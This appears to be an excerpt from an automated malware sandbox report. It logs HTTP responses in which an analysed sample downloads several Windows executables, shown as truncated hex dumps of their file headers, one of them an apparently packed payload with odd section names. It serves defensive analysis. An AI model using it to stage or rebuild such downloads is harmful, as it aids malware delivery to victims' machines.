00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 04:46:45 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 04:46:46 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 04:46:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "6dde8-5e7e950876500"Accept-Ranges: bytesContent-Length: 450024Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 82 ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 2c e0 06 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 e8 41 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 ac 13 00 00 00 70 06 00 00 14 00 00 00 44 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 69 64 61 74 00 00 34 00 00 00 00 90 06 00 00 02 00 00 00 58 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 03 00 00 00 a0 06 00 00 04 00 00 00 5a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 ac 3d 00 00 00 b0 06 00 00 3e 00 00 00 5e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 04:46:49 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "1f3950-5e7e950876500"Accept-Ranges: bytesContent-Length: 2046288Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 d0 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 d8 19 00 00 2e 05 00 00 00 00 00 60 a3 14 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 70 1f 00 00 04 00 00 6c 2d 20 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e4 26 1d 00 fa 9d 00 00 de c4 1d 00 40 01 00 00 00 50 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 50 2f 00 00 00 60 1e 00 5c 08 01 00 b0 01 1d 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 7c ca 1d 00 5c 04 00 00 80 26 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 89 d7 19 00 00 10 00 00 00 d8 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 6c ef 03 00 00 f0 19 00 00 f0 03 00 00 dc 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 52 00 00 00 e0 1d 00 00 2e 00 00 00 cc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 40 1e 00 00 02 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 50 1e 00 00 04 00 00 00 fc 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 5c 08 01 00 00 60 1e 00 00 0a 01 00 00 00 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 04:46:53 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "3ef50-5e7e950876500"Accept-Ranges: bytesContent-Length: 257872Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 cc 02 00 00 f0 00 00 00 00 00 00 50 cf 02 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 00 04 00 00 04 00 00 53 67 04 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 44 76 03 00 53 01 00 00 97 77 03 00 f0 00 00 00 00 b0 03 00 80 03 00 00 00 00 00 00 00 00 00 00 00 c0 03 00 50 2f 00 00 00 c0 03 00 c8 35 00 00 38 71 03 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 e0 02 00 a0 00 00 00 00 00 00 00 00 00 00 00 14 7b 03 00 8c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 26 cb 02 00 00 10 00 00 00 cc 02 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 d4 ab 00 00 00 e0 02 00 00 ac 00 00 00 d0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 98 0b 00 00 00 90 03 00 00 08 00 00 00 7c 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 a0 03 00 00 02 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 80 03 00 00 00 b0 03 00 00 04 00 00 00 86 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 c8 35 00 00 00 c0 03 00 00 36 00 00 00 8a 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 25 Nov 2024 04:46:54 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "13bf0-5e7e950876500"Accept-Ranges: bytesContent-Length: 80880Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 c0 c5 e4 d5 84 a4 8a 86 84 a4 8a 86 84 a4 8a 86 30 38 65 86 86 a4 8a 86 8d dc 19 86 8f a4 8a 86 84 a4 8b 86 ac a4 8a 86 d6 cc 89 87 97 a4 8a 86 d6 cc 8e 87 90 a4 8a 86 d6 cc 8f 87 9f a4 8a 86 d6 cc 8a 87 85 a4 8a 86 d6 cc 75 86 85 a4 8a 86 d6 cc 88 87 85 a4 8a 86 52 69 63 68 84 a4 8a 86 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 7c ea 30 5d 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 de 00 00 00 1c 00 00 00 00 00 00 90 d9 00 00 00 10 00 00 00 f0 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 30 01 00 00 04 00 00 d4 6d 01 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 e0 e3 00 00 14 09 00 00 b8 00 01 00 8c 00 00 00 00 10 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 fa 00 00 f0 41 00 00 00 20 01 00 10 0a 00 00 80 20 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 20 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 b4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 dc 00 00 00 10 00 00 00 de 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 f4 05 00 00 00 f0 00 00 00 02 00 00 00 e2 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 00 00 84 05 00 00 00 00 01 00 00 06 00 00 00 e4 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 00 04 00 00 00 10 01 00 00 04 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 0a 00 00 00 20 01 00 00 0c 00 00 00 ee 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 25 Nov 2024 04:47:00 GMTContent-Type: application/octet-streamContent-Length: 1884160Last-Modified: Mon, 25 Nov 2024 04:24:27 GMTConnection: keep-aliveETag: "6743fbfb-1cc000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 98 01 00 00 00 00 00 00 e0 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 4b 00 00 04 00 00 38 3f 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 57 a0 06 00 6b 00 00 00 00 90 06 00 44 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 94 c1 4a 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 44 c1 4a 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 06 00 00 10 00 00 00 de 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 44 03 00 00 00 90 06 00 00 04 00 00 00 ee 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 a0 06 00 00 02 00 00 00 f2 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 70 2a 00 00 b0 06 00 00 02 00 00 00 f4 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 78 77 6d 66 64 6a 6e 00 b0 19 00 00 20 31 00 00 a2 19 00 00 f6 02 00 00 00 00 00 00 00 00 00 00 